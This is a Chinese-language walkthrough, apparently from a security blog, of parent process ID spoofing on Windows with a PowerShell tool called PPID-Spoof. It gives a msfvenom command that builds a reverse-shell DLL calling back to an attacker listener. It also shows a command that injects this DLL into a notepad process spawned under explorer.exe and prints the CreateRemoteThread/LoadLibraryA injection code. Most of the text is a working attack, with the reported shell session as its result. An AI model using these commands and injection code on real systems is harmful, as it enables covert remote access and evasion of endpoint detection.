F-Secure发布了一个PowerShell脚本(PPID-Spoof),它可以用于父进程欺骗,该脚本包含嵌入的C#代码,以便与"CreateProcess" Windows API进行交互。https://github.com/lucky-luk3/C-Examples/blob/main/CReateProcessPPIDSpoofing。
该工具接受3个参数,即父进程的pid、子进程的系统路径和注入子进程的dll的路径:
1. 通过恶意exe加载后门程序
PPID-Spoof -ppid [: 父进程PID]-spawnto [: 恶意子进程的系统路径] -dllpath [: 任意dll路径]
2. 通过恶意dll加载后门程序
PPID-Spoof -ppid [: 父进程PID]-spawnto [: 任意子进程的系统路径] -dllpath [: 恶意dll路径]
这里我才用第二种利用途径,使用MSF生成一个恶意的dll,
msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.70.206 LPORT=7777 -f dll > shell.dll
并以explorer.exe作为父进程进行父进程欺骗:
`PS C:\Users\Administrator\Desktop> Import-Module .\PPID-Spoof.ps1``PS C:\Users\Administrator\Desktop> PPID-Spoof -ppid 1884 -spawnto "C:\Windows\System32\notepad.exe" -dllpath .\shell.dll`
运行脚本过后,在explorer.exe进程多了一个notepad子进程,在notepad子进程的加载dll列表中出现了shell.dll这个恶意的dll。在远程监听的kali中成功出现了shell会话。
在PPID-Spoof.ps1中主要通过CreateRemoteThread加载运行dll。
`$dllPath = (Resolve-Path $dllPath).ToString()`` ``# Load and execute dll into spoofed process.``$loadLibAddress = [Kernel32]::GetProcAddress([Kernel32]::GetModuleHandle("kernel32.dll"), "LoadLibraryA")``$lpBaseAddress = [Kernel32]::VirtualAllocEx($pInfo.hProcess, 0, $dllPath.Length, 0x00003000, 0x4)``$result1 = [Kernel32]::WriteProcessMemory($pInfo.hProcess, $lpBaseAddress, (New-Object "System.Text.ASCIIEncoding").GetBytes($dllPath), $dllPath.Length, [ref]0)``# $result1 = [Kernel32]::VirtualProtectEx($pInfo.hProcess, $lpBaseAddress, $dllPath.Length, 0x20, [ref]0)``$result1 = [Kernel32]::CreateRemoteThread($pInfo.hProcess, 0, 0, $loadLibAddress, $lpBaseAddress, 0, 0)`